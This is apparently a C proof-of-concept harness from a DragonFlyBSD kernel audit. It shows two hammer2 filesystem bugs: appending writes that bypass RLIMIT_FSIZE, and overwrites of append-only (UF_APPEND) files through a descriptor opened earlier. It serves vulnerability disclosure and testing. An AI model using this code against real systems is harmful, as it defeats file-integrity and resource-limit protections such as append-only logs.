⬢ DragonFlyBSD Kernel Audit
DF-5818 / append_poc.c
← back to finding ↓ download raw
/*
 * DF-5817 + DF-5818 PoC harness for DragonFlyBSD hammer2_vnops.c
 *
 * TEST 1 (DF-5817): RLIMIT_FSIZE vs O_APPEND
 *   - create file of 2 MiB while rlimit is infinite
 *   - setrlimit(RLIMIT_FSIZE, 1 MiB)
 *   - open(O_WRONLY|O_APPEND)  (fresh fd, f_offset == 0)
 *   - write() -> UFS: -1/EFBIG (+SIGXFSZ)   hammer2 BUG: returns n
 *   - control: plain O_WRONLY fd, lseek >= limit, write -> EFBIG on both
 *
 * TEST 2 (DF-5818): chflags uappnd (append-only) not enforced on write
 *   - file "AAAABBBBCCCC", chflags(path, UF_APPEND)
 *   - pwrite(fd, "XXXX", 4, 0) -> UFS: -1/EPERM   hammer2 BUG: returns 4
 *   - lseek(fd,0)+write("YYYY") -> UFS EPERM (offset!=EOF), hammer2 BUG: ok
 *   - read content back: overwritten bytes prove integrity violation
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static char buf[8192];
static int xfsz_seen;

static void
onxfsz(int sig)
{
	xfsz_seen = 1;
}

static long long fsiz(const char *p)
{
	struct stat st;
	if (stat(p, &st) == 0)
		return (long long)st.st_size;
	return (-1);
}

int
main(int argc, char **argv)
{
	const char *path;
	int fd, fd2, n;
	ssize_t r;
	struct rlimit rl;
	char rd[32];

	if (argc != 2) {
		fprintf(stderr, "usage: %s <file-on-filesystem>\n", argv[0]);
		exit(2);
	}
	path = argv[1];
	signal(SIGXFSZ, onxfsz);

	printf("== TEST 1: RLIMIT_FSIZE vs O_APPEND ==\n");
	unlink(path);
	fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("create"); exit(2); }
	memset(buf, 'A', sizeof(buf));
	for (n = 0; n < 2 * 1024 * 1024 / 8192; n++) {
		if (write(fd, buf, 8192) != 8192) { perror("prefill"); exit(2); }
	}
	close(fd);
	printf("prefill: size=%lld\n", fsiz(path));

	rl.rlim_cur = 1024 * 1024;		/* 1 MiB */
	rl.rlim_max = RLIM_INFINITY;
	if (setrlimit(RLIMIT_FSIZE, &rl) < 0) { perror("setrlimit"); exit(2); }
	printf("rlimit_fsize = 1MiB, file already 2MiB\n");

	/* fresh O_APPEND fd: f_offset == 0, kernel overrides to EOF on write */
	fd = open(path, O_WRONLY | O_APPEND);
	if (fd < 0) { perror("open append"); exit(2); }
	xfsz_seen = 0;
	r = write(fd, buf, 4096);
	printf("append-write(4096): ret=%zd errno=%d sigxfsz=%d size=%lld\n",
	       r, r < 0 ? errno : 0, xfsz_seen, fsiz(path));
	printf("  -> %s\n", (r == 4096) ? "BUG: BYPASSED rlimit (write past "
	       "RLIMIT_FSIZE accepted, no SIGXFSZ)"
	       : (r < 0 && errno == EFBIG) ? "OK: EFBIG (limit enforced)"
	       : "OTHER");

	/* repeatable via lseek(0) to reset f_offset used by the check */
	if (lseek(fd, 0, SEEK_SET) == 0) {
		xfsz_seen = 0;
		r = write(fd, buf, 4096);
		printf("append-write after lseek(0): ret=%zd errno=%d "
		       "sigxfsz=%d size=%lld\n",
		       r, r < 0 ? errno : 0, xfsz_seen, fsiz(path));
	}
	close(fd);

	/* control: non-append write at offset >= limit must EFBIG everywhere */
	fd = open(path, O_WRONLY);
	if (fd < 0) { perror("open plain"); exit(2); }
	if (lseek(fd, 2 * 1024 * 1024, SEEK_SET) < 0) perror("lseek ctl");
	xfsz_seen = 0;
	r = write(fd, buf, 256);
	printf("control plain-write@2MiB: ret=%zd errno=%d sigxfsz=%d\n",
	       r, r < 0 ? errno : 0, xfsz_seen);
	printf("  -> %s\n", (r < 0 && errno == EFBIG) ?
	       "OK: limit enforced for non-append" : "UNEXPECTED");
	close(fd);

	rl.rlim_cur = RLIM_INFINITY;
	setrlimit(RLIMIT_FSIZE, &rl);		/* restore for test 2 */

	printf("== TEST 2: chflags UF_APPEND (append-only) enforcement ==\n");
	printf("(fd opened BEFORE the flag is set; kernel open-gate cannot\n"
	       " retroactively apply O_APPEND to an existing descriptor)\n");
	unlink(path);
	fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("create2"); exit(2); }
	if (write(fd, "AAAABBBBCCCC", 12) != 12) { perror("write2"); exit(2); }
	if (chflags(path, UF_APPEND) < 0) { perror("chflags uappnd"); exit(2); }
	printf("chflags(UF_APPEND) ok (file held open rw since before)\n");

	r = pwrite(fd, "XXXX", 4, 0);
	printf("pwrite@0 on uappnd via pre-opened fd: ret=%zd errno=%d\n",
	       r, r < 0 ? errno : 0);
	printf("  -> %s\n", (r == 4) ? "BUG: BYPASSED append-only "
	       "(arbitrary-offset write accepted)"
	       : (r < 0 && errno == EPERM) ? "OK: EPERM" : "OTHER");

	if (lseek(fd, 4, SEEK_SET) >= 0) {
		r = write(fd, "YYYY", 4);
		printf("write@4 on uappnd: ret=%zd errno=%d\n",
		       r, r < 0 ? errno : 0);
	}
	close(fd);

	fd2 = open(path, O_RDONLY);
	if (fd2 >= 0) {
		memset(rd, 0, sizeof(rd));
		r = read(fd2, rd, 12);
		close(fd2);
		printf("content now: [%.12s] (%zd bytes)\n", rd, r);
		printf("  -> %s\n", (memcmp(rd, "AAAABBBBCCCC", 12) == 0) ?
		       "OK: content untouched" :
		       "BUG: append-only file content MODIFIED at non-EOF");
	}
	chflags(path, 0);
	unlink(path);
	return (0);
}